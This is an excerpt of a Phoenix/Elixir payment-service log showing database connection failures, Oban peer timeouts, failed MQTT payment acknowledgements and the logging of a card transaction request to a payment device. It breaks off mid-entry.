[Fri Sep  4 09:51:54.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:54.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:54.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:54.345000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:54.680000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:54.906000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.499000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.543000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.983000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:55.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:56.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:56.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:56.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:56.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:56.936000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:57.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:57.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:57.257000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:57.602000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:58.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:58.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:58.989000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:59.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:59.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:00.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:00.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:01.276000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:01.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:01.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:02.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:02.813000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:02.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:03.133000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:03.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:05.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:06.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:06.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:06.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:52:07.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1140.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:00:39.333000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 10:00:43.839000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 10:00:45.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 10:06:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.7ms idle=1800.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1749.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:25:39.639000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch192202496168_20260904102451951","money": "400.0", "status": "FAILED" }
[Fri Sep  4 10:25:39.639000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch192202496168_20260904102451951: %{"money" => "400.0", "request_id" => "ch192202496168_20260904102451951", "status" => "FAILED"}
[Fri Sep  4 10:25:39.642000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch192202496168_20260904102451951 is failed
[Fri Sep  4 10:25:39.649000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=6.4ms idle=1657.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch192202496168_20260904102451951", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:25:39.650000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch192202496168_20260904102451951
[Fri Sep  4 10:26:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=3.0ms idle=1712.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:29:32.573000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch192202496168_20260904102824436","money": "400.0", "status": "FAILED" }
[Fri Sep  4 10:29:32.573000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch192202496168_20260904102824436: %{"money" => "400.0", "request_id" => "ch192202496168_20260904102824436", "status" => "FAILED"}
[Fri Sep  4 10:29:32.573000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch192202496168_20260904102824436 is failed
[Fri Sep  4 10:29:32.579000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=4.3ms idle=1578.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch192202496168_20260904102824436", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:29:32.579000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch192202496168_20260904102824436
[Fri Sep  4 10:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1664.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:43:15.123000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 10:43:18.322000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 10:45:39.460000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53164] POST /api/device/initiate
[Fri Sep  4 10:45:39.460000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53164] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch565596372156", "externalRefNumber2" => "2459143034", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 10:45:39.461000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Processing card transaction for reference: ch565596372156
[Fri Sep  4 10:45:39.464000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="users" db=2.8ms idle=1361.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:45:39.467000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="custom_events" db=3.3ms idle=1364.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:45:39.468000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch565596372156"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 150,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch565596372156",
  external_ref_number_2: "2459143034",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Fri Sep  4 10:45:39.468000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 150,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch565596372156",
    external_ref_number_2: "2459143034",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch565596372156",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:45:39.468772Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 10:45:39.469000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53164] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch565596372156", external_ref_number_2: "2459143034", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch565596372156", transaction_id: nil, date_added: ~U[2026-09-04 10:45:39.468772Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Fri Sep  4 10:45:39.553000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK db=81.9ms queue=1.8ms idle=1369.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch565596372156", external_ref_number_2: "2459143034", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch565596372156", ~U[2026-09-04 10:45:39Z], 35, "initiate_card_txn_request", ~N[2026-09-04 10:45:39], ~N[2026-09-04 10:45:39]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:45:39.554000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Successfully created custom event log with ID: 40268
[Fri Sep  4 10:45:39.554000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Handling card transaction:
- Reference: ch565596372156
- Amount: 150
- Params: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch565596372156", "externalRefNumber2" => "2459143034", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Fri Sep  4 10:45:39.557000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="users" db=2.5ms idle=1382.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:45:39.559000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="custom_events" db=1.6ms queue=0.1ms idle=458.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:45:39.561000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch565596372156"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788518739,
  device_id: "98251226730002",
  amount: 150
}

[Fri Sep  4 10:45:39.561000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788518739,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch565596372156",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:45:39.561506Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 10:45:39.561000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53164] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788518739, device_id: "98251226730002", amount: 150}, event_name: "Response From Device Online Status", refrence_id: "ch565596372156", transaction_id: nil, date_added: ~U[2026-09-04 10:45:39.561506Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 10:45:39.691000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK db=128.4ms queue=1.2ms idle=463.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788518739, device_id: "98251226730002", amount: 150}, "Response From Device Online Status", "ch565596372156", ~U[2026-09-04 10:45:39Z], 36, "response_from_device_online_status", ~N[2026-09-04 10:45:39], ~N[2026-09-04 10:45:39]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:45:39.692000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Successfully created custom event log with ID: 40269
[Fri Sep  4 10:45:39.692000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch565596372156\",\"amount\":15000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 10:45:39.753000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK db=57.6ms queue=1.2ms idle=595.3ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch565596372156", "externalRefNumber2" => "2459143034", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_f0f7646f0330@mercurypay.in", "98251226730002", "ch565596372156", 4, Decimal.new("150"), %{}, "1", ~N[2026-09-04 10:45:39], ~N[2026-09-04 10:45:39]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 10:45:39.755000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="users" db=1.7ms idle=576.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:45:39.758000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="custom_events" db=2.3ms idle=494.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:45:39.759000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch565596372156"
Payload: %{
